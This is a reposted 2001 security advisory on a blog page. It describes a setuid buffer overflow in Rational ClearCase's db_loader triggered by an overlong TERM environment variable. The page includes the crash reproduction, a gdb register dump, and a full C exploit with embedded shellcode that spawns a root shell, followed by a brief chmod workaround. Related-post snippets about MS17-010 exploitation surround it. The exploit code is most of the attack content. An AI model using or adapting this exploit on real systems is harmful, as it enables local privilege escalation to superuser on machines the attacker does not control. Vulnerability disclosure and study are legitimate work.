【实战】ClearCase db_loader环境变量溢出漏洞

方式程0day MS17-010远程溢出漏洞测试 最近那个WannaCry勒索病毒搞的沸沸扬扬,据了解该病毒利用了方程式泄露的0day MS17-010(永恒之蓝)进行传播。 据说这个漏洞是支持winxp-win2012,测试一下这个漏洞到底如何。 一、环境: 靶机:win7 IP:192.168.4.247 攻击机:win2003 IP:192.168.4.16 反弹shell: kali IP:192.168.4.15 在攻击机中需要p... 阅读详情

ClearCase db_loader环境变量溢出漏洞


创建时间:2001-11-10
文章属性:原创
文章来源:http://xfocus.org
文章提交:inburst (inburst_at_263.net)

----------------------------------
ClearCase db_loader环境变量溢出漏洞
----------------------------------

发布信息
--------

发现日期:2001年8月
公布日期:2001年11月1日
发现者:virtualcat@xfocus.org
网站:http://xfocus.org


简单描述
--------

Rational 公司推出的软件配置管理工具ClearCase主要用于Windows和Unix开发环境。ClearCase提供了全面的配置管理功能——包括版本控制、工作空间管理、建立管理和过程控制,而且无需软件开发者改变他们现有的环境、工具和工作方式。
该管理工具存在一个db_loader程序,该程序默认安装设置了suid位,但当你使用一个超长的环境变量"TERM"的时候,会导致缓冲区溢出,该漏洞可能导致发生系统越权行为。

受影响的软件版本和平台
----------------------

影响版本:ClearCase 3.2+, 4.0, 4.1, 4.2
影响系统:Linux, Solaris sparc, Solaris x86, AIX, HP, Digital, IRIX, SCO etc.


细节
----

$ TERM=`perl -e 'print "A"x550'`
$ export TERM
$ /usr/atria/etc/db_loader
Bus Error
$ gdb db_loader core -q
(no debugging symbols found)...Core was generated by `./db_loader'.
Cannot access memory at address 0xffffffffff3e1b80
#0  0xf0db8 in imsg_fputs ()
(gdb) bt
#0  0xf0db8 in imsg_fputs ()
Cannot access memory at address 0x41414179
(gdb) i reg
g0             0x0      0
g1             0x7b000  503808
g2             0x13cf84 1298308
g3             0x0      0
g4             0xf6c2c  1010732
g5             0x0      0
g6             0x0      0
g7             0x143d58 1326424
o0             0xffffffff       -1
o1             0x1      1
o2             0xffbef054       -4263852
o3             0xf0c3c  986172
o4             0xffbeed8a       -4264566
o5             0xffffffff       -1
sp             0xffbeef70       -4264080
o7             0xf0db0  986544
l0             0x41414141       1094795585
l1             0x41414141       1094795585
l2             0x41414141       1094795585
l3             0x41414141       1094795585
l4             0x41414141       1094795585
l5             0x41414141       1094795585
l6             0x41414141       1094795585
l7             0x41414141       1094795585
i0             0x41414141       1094795585
i1             0x41414141       1094795585
i2             0x41414141       1094795585
i3             0x41414141       1094795585
i4             0x41414141       1094795585
i5             0x41414141       1094795585
fp             0x41414141       1094795585
i7             0x41414141       1094795585
y              0x0      0
psr            0xfe801007       -25161721       icc:N---, pil:0, s:0, ps:0, et:0, cwp:7
wim            0x0      0
tbr            0x0      0
pc             0xf0db8  986552
npc            0xf0dbc  986556
fpsr           0x0      0       rd:N, tem:0, ns:0, ver:0, ftt:0, qne:0, fcc:=, aexc:0, cexc:0
cpsr           0x0      0
(gdb)

本地用户可以通过这一漏洞越权得到超级用户权限。

测试程序
--------

ClearCase_x86exp.c

/* Rational ClearCase TERM environment variable buffer overflow exploit
*  test it again solaris x86 7, bug found by virtualcat@xfocus.org
*  xploit by xundi@xfocus.org
*  website: http://xfocus.org
*/

#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define    RET_DIS            550
#define    NOP            0x90
#define    NNOP            512

#define    ENV_VAR            "TERM"

#define    USER_UPPER_MAGIC    0x08047fff

/* Shell code taken from Pablo Sor's "mailx -F" exploit code    */
char shellCode[] =
    "/xeb/x48/x9a/xff/xff/xff/xff/x07/xff/xc3/x5e/x31/xc0/x89/x46/xb4"
    "/x88/x46/xb9/x88/x46/x07/x89/x46/x0c/x31/xc0/x50/xb0/x8d/xe8/xdf"
    "/xff/xff/xff/x83/xc4/x04/x31/xc0/x50/xb0/x17/xe8/xd2/xff/xff/xff"
    "/x83/xc4/x04/x31/xc0/x50/x8d/x5e/x08/x53/x8d/x1e/x89/x5e/x08/x53"
    "/xb0/x3b/xe8/xbb/xff/xff/xff/x83/xc4/x0c/xe8/xbb/xff/xff/xff/x2f"
    "/x62/x69/x6e/x2f/x73/x68/xff/xff/xff/xff/xff/xff/xff/xff/xff";


int get_esp()
{
    __asm__("mov %esp,%eax");
}

int  getEnvAddr(const char* envPtr)
{
    int    envAddr = NULL;
    int    retCode = 0;

    char* charPtr = (char *) get_esp();

    /* Search for the starting address of the environment string for    */
    /* the specified environment variable                    */
    while((unsigned int)  charPtr < (unsigned int) USER_UPPER_MAGIC)
    {
        retCode = memcmp((unsigned char *) charPtr++, envPtr, 4);
        /* Found */
        if(retCode == 0)
        {
            envAddr = (int) (charPtr - 1);
            break;
        }
    }

    return envAddr;
}

int main(int argc, char** argv)
{

    char    buff[256] = {0};

    int*    intPtr = NULL;
    char*    buffPtr = NULL;
    char*    charPtr = NULL;

    int    retAddr = 0;
    int    retValue = 0;


    int    buffLen = 0;
    int    adjustment = 0;
    int    strLen = 0;
    int    alignment = 0;
    int    diff = 0;
    int    i;

    int shellCodeLen = strlen(shellCode);

    if(argc == 2)
    {
        adjustment = atoi(argv[1]);
    }

    buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1;

    charPtr = getenv(ENV_VAR);

    /* Adjust the stupid alignment    */
    strLen = strlen(charPtr) + 1;
    alignment = strLen % 4;
    if(alignment != 0)
    {
        alignment = 4 - alignment;
        strLen += alignment;
    }

    alignment = buffLen % 4;
    if(alignment != 0)
    {
        alignment = 4 - alignment;
        buffLen += alignment;
    }

    retValue = getEnvAddr(ENV_VAR);

    diff = buffLen - strLen;

    retAddr = retValue - diff + strlen(ENV_VAR) + 1;

    alignment = retAddr % 4;

    if(alignment != 0)
    {
        alignment = 4 - alignment;
    }
    retAddr += RET_DIS + alignment +  adjustment;

    /* Allocate memory for the evil buffer    */
    buffPtr = (char *) malloc(buffLen);

    if(buffPtr != NULL)
    {

        strcpy(buffPtr, ENV_VAR);
        strcat(buffPtr, "=");
        charPtr = (char *) (buffPtr + strlen(buffPtr));

        /* Fill the rest of the buffer with 'A'     */
        memset(charPtr, 0x41, buffLen - strlen(buffPtr)-4);

        /* Butt in the return address            */
        intPtr = (int *) (charPtr + RET_DIS);
        *intPtr++ = retAddr;

        /* Make sure the NOPs are located word aligned     */
        charPtr = (char *) intPtr;
        charPtr += alignment;

        for(i=0; i<NNOP; i++)
        {
            *charPtr++ = NOP;
        }

        for(i=0; i<shellCodeLen; i++)
        {
            *charPtr++ = shellCode[i];
        }
        *charPtr = 0;

        putenv(buffPtr);

        printf("Jumping to 0x%.8x/n", retAddr);

        execl("/usr/atria/etc/db_loader", "xfocus", NULL);
    }
    else
    {
        printf("No more free memory!");
    }
}

/*..Thanks for all xfocus members.. especially virtualcat*/

临时解决办法
------------

# chmod a-s /usr/atria/etc/db_loader

厂商信息
--------

2001年8月已经通知厂商
厂商主页:http://www.rational.com

关于Xfocus
----------

Xfocus是一个于1998年在中国成立的非盈利的网络及系统安全组织,致力于发现网络、通信及软件硬件各方面的脆弱性并进行相关的研究。

版权所有 2001 http://xfocus.org,欢迎转载,但必须保留版权信息。

SMB漏洞 目录 一,SMB信息泄露 充电站: 二,MS17-010 (永恒之蓝) 复现 一,SMB信息泄露 靶场:192.168.11.167 攻击机:kali 192.168.11.165 信息探测: nmap -sV 192.168.11.167 可以看到开放了,22 ssh端口,139,445的smb服务端口,以及3306的mysal服务 扫描更详细的信息: nmap -... 阅读详情

相关推荐

MS12-020(CVE-2012-0002) Exploit 3389远程溢出漏洞代码

MS12-020(CVE-2012-0002) Exploit 3389远程溢出漏洞代码

方程式ETERNALBLUE:Windows SMB远程溢出漏洞复现笔记

ETERNALBLUE :是一个0day RCE漏洞利用,影响最新的Windows 2008 R2 SERVER VIA SMB和NBT,利用SMB漏洞,攻击开放445端口的windows机器

captain51的博客 1万+

K8s入门教程(一)

本教程提供了Kubernetes(K8s)的入门指南,涵盖了从基础概念到实战操作的全面内容。首先介绍了Kubernetes的定义和核心功能,如自动化部署、弹性伸缩、自我修复等。接着,详细讲解了如何在macOS上安装Minikube和kubectl工具,以及如何使用这些工具创建和管理Pod、Deployment和Service等核心资源。教程还包括了实战案例,如部署Nginx应用,并介绍了高级特性如滚动更新和自动伸缩。最后,提供了常见问题的解决方案,帮助用户快速上手和解决实际使用中的问题。

2401_82505179的博客 1690

数据库相关中间件(上)

数据库中间件 这里主要介绍互联网行业内有关数据库的相关中间件。数据库相关平台主要解决以下三个方面的问题: 为海量前台数据提供高性能、大容量、高可用性的访问 为数据变更的消费提供准实时的保障 高效的异地数据同步 应用层通过分表分库中间件访问数据库,包括读操作(Select)和写操作(update, insert和delete等,DDL, DCL)。写

会飞的鱼 633

PLSQL Developer14连接Oracle详细过程

下载地址:Instant Client for Microsoft Windows (x64) 64-bit | Oracle 中国解压客户端工具到一个目录(解压文件到当前目录,自动合并成一个目录)​ 电脑(右键)→属性→高级系统设置→环境变量→系统环境变量→新建变量名:NLS_LANG 变量值: AMERICAN_AMERICA.ZHS16GBK​ 变量名:TNS_ADMIN 变量值:C:\xiaxinyu\software\Oracle\instantclient_19_10​ 在Oracle客户端(C

summer_fish的专栏 3985

基于R语言的DICE模型实践技术应用;预测不同减排路径下的经济增长、碳排放量、气候变化程度以及社会福利变化

DICE模型是一个动态综合气候经济模型,由诺贝尔经济学奖得主William Nordhaus开发,用于评估气候变化对经济的影响以及不同减排政策的经济成本和效益。以下是一个关于DICE模型在气候变化影响评估中的实际应用案例,结合R语言代码进行讲解。

KY_chenzhao的博客 869

网安学习日记-MS08-067远程溢出漏洞学习(CVE-2008-4250)

MS08-067远程代码执行漏洞详细利用过程与发现思路

末班车的博客 1060

告别卡顿闪烁!在Cesium 1.134中集成SOG格式,让400万高斯秒级加载

本文详细介绍了如何在Cesium 1.134中集成SOG格式,实现400万高斯数据的秒级加载,解决传统加载方式导致的卡顿和闪烁问题。通过空间索引重构、属性量化编码和WebGPU原生支持等技术,SOG格式显著提升了三维地理空间可视化的性能。文章还提供了环境准备、模型转换和Cesium集成的实战指南,帮助开发者高效优化项目。

weixin_29313817的博客 499

风险类型说明和处理建议手册

.1 Web攻击 风险描述: 主要是指常见的Web类型攻击,包括SQL注入、命令注入、代码注入、跨站脚本攻击、协议错误等,一般是由攻击人员尝试构造特殊的SQL语句、系统命令、脚本、java代码等,发送请求,来触发WEB服务器上未经发现的,或者未经修复的漏洞,然后利用这些漏洞,进行恶意行为:获取敏感数据,执行数据库操作、操作系统命令/程序代码等。 处理建议 1、首先需确认攻击源和目标主机所处网络位置,对于内网向外发起的攻击行为,建议通过对源主机进行访问限制阻止攻击行为,并检查该内部主机是否有其他

tigerman20201的博客 1538

两万字硬核指南!Python爬虫requests库从入门到精通:新手也能搞定所有爬取场景(附实战案例+避坑大全)

请求头是客户端发送给服务器的额外信息,比如User-Agent(浏览器类型)、Referer(来源页面)、Cookie(登录凭证)、(编码方式)等。Cookie是服务器存储在客户端的小型文本文件,包含用户的登录凭证、偏好设置等信息。浏览器会在每次请求时自动携带Cookie,服务器通过Cookie识别用户身份。代理IP是一个中间服务器,你的请求先发送到代理IP,再由代理IP发送到目标网站,目标网站只能看到代理IP的地址,看不到你的真实IP。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 1497

15、z/OS 优化配置与迁移实践

本文详细探讨了z/OS环境的优化配置与迁移实践,涵盖DASD存储库管理、用户目录更新、环境更新意义以及不同场景下的迁移案例。通过单笔记本系统和服务器级机器的实例,展示了迁移流程和关键要点,包括DASD文件创建、设备映射更新、系统重启初始化以及数据备份等步骤。文章还总结了迁移过程中的注意事项,并展望了未来z/OS优化的发展趋势,为z/OS系统的稳定运行和高效管理提供了实用指导。

zzz56的博客 129

SQL*Loader的使用总结(一)

SQL*Loader是oracle提供的可以从多种平面文件中向数据库中加载数据的工具,使用SQLLDR工具可以在很短的时间内向数据库中加载大量的数据,像把制作好的excel表格导入数据库,可以说非常方便,相关的数据加载和卸载工具还有外部表,IMP/EXP,数据泵等,其实呢~ 关于SQL*Loader的学习多数时间是花在了琢磨sqlldr控制文件的写法上,下面来总结我的SQL*Loader学习过程和

不忘初心、方得始终 3万+

基于MUSIC算法的DOA估计Matlab仿真

特别需要指出的是:通道与阵元并不是一一对应,通道是由空间的一个、几个或所有阵元合成的,当然空间某个特定的阵元可包含在不同的通道内。空间谱估计侧重于研究空间多传感器阵列所构成的处理系统对感兴趣的空间信号的多种参数进行准确估计的能力,其主要目的是估计信号的空域参数或信源位置,这也是雷达、通信、声纳等许多领域的重要任务之一。从系统框图中可以清晰的看出,估计空间相当于是对目标空间的一个重构过程,这个重构的精度由众多因素决定,如环境的复杂性、空间阵元的互耦、通道不一致、频带不一致等。

FPGA/MATLAB学习教程/源码/项目合作开发 1750

word 代码_微软补丁日:Word/DHCP/LNK远程代码执行漏洞预警

0x00 漏洞背景2019年8月14日微软发布的安全更新中除了RDP漏洞还涵盖了针对多个远程代码执行高危漏洞的修复。Microsoft Word远程代码执行漏洞, 漏洞编号CVE-2019-0585。Windows DHCP客户端远程代码执行漏洞, 漏洞编号CVE-2019-0736。LNK远程代码执行漏洞,漏洞编号CVE-2019-1188。0x01 漏洞详情LNK远程代码执行漏洞...

weixin_39986896的博客 266

YOLOv11【第二章:核心模块进阶篇·第3节】LDConv线性可变形卷积改进YOLOv11!

🏆 本文收录于专栏 《YOLOv11实战:从入门到深度优化》。本专栏围绕 YOLOv11 的改进、训练、部署与工程优化 展开,系统梳理并复现当前主流的 YOLOv11 实战案例与优化方案,内容目前已覆盖 分类、检测、分割、追踪、关键点、OBB 检测 等多个方向。

**My Coding Family** 7442

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

VS2017 远程调试linux出现的错误:Cannot access memory at address 0x570

描述新建的linux默认工程#include <stdio.h>int main() { printf("hello from linux_test!\n"); return 0; }编译时没有任何问题:1>------ 已启动生成: 项目: arptools, 配置: Debug x64 ------ 1>Validating architecture 1>Validating s

A.A的博客 3万+

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

Oracle DB sql*loader例子

sql*loader 是一个程序, 用来把 文本文件里面的数据, 导入到 Oracle 数据库里面。下面是一个简单的例子:SQL*Loader首先需要一个 控制文件test_main.ctl,内容如下:LOAD DATAINFILE *INTO TABLE test_mainFIELDS TERMINATED BY ','(ID, VALUE)BEGINDATA1,Test其中,第一行L...

ImezZ 720

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

远程溢出攻击

网络安全介绍 https://wenku.baidu.com/view/df861fd101f69e3142329427.html   远程溢出攻击   什么是远程溢出攻击? https://zhidao.baidu.com/question/537606563.html   大多溢出攻击都是针对缓冲区的溢出。当缓冲区溢出时,过剩的信息对电脑内存中原有内容进行完全替换,如未进行备份...

野生码农 4749

db_load命令 ——生成db数据库

db_load命令 – 生成db数据库 db_load命令的作用是将用户信息文件转换为数据库并使用 hash 加密,如果需要保存虚拟帐号和密码的文本文件且不让被系统帐号直接调用,我们就需要使用db_load 命令生成db数据库。 # db_load -T -t hash -f /etc/vsftpd/vftpuser.txt /etc/vsftpd/vftpuser.db -T 选项-T允许应用程序能够将文本文件转译载入进数据库。由于我们之后是将虚拟用户的信息以文件方式存...

weixin_50196615的博客 2898

SMB服务漏洞MS17-010渗透测试

1.MS17-010漏洞简介     MS17-010是微软Windows 系统SMB协议的漏洞。由于某些请求的处理不当,Microsoft Server Message Block 1.0(SMBv1)中存在多个远程代码执行漏洞,远程Windows主机受到以下漏洞的影响:CVE-20170143,CVE-20170144,CVE-20170145,CVE-20170146,CVE-2017014...

sinat_41880528的博客 1万+

网络实战攻击-Samba 远程缓冲区溢出漏洞

nmap-T4 -A -sS-sV-vv--script vuln -p- --open -n -Pn10.11.1.22 -oX10.11.1.22.xml 搜索远程缓冲区漏洞 searchsploitSamba Remote Buffer Overflow 选用 cd/usr/share/exploitdb/ exploits/linux/remote/7.pl perl7.pl -t linx86 -H 10.11.0.243 -h 10.11.1.22 进入...

网络安全领域优质创作者 1499

FreeXploiT 成立三年感言!

 04年成立的,和一个朋友,现在那个朋友不知所踪了(他叫菜菜,很早就玩汇编了)后来的两年基本是我一个人更新里面的blog我这个算是最早的安全聚合blog吧? 暗礁的也挺早 不过是团队形式的 鬼仔的05年 neeao的04.10.26我的04.10.15那时候就是想弄点资料自己收藏着看看 ,当然也有很长远的目标 就是想做一个网站 先拿blog练练手一练就是三年啊 哈。。blo

FreeXploiT 8491

Metasploit Framework all part 1-3

Metasploit Framework, Part 1 Pukhraj Singh, K.K. Mookhey 2004-07-12 <!--This article provides an elaborate insight into the Open Source exploit framework, the Metasploit Fra

FreeXploiT 7212
上一篇: 【分析】对于SSH crc32 compensation attack detector exploit 的分析
下一篇: 【实战】VMware GSX Server远程缓冲区溢出漏洞
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值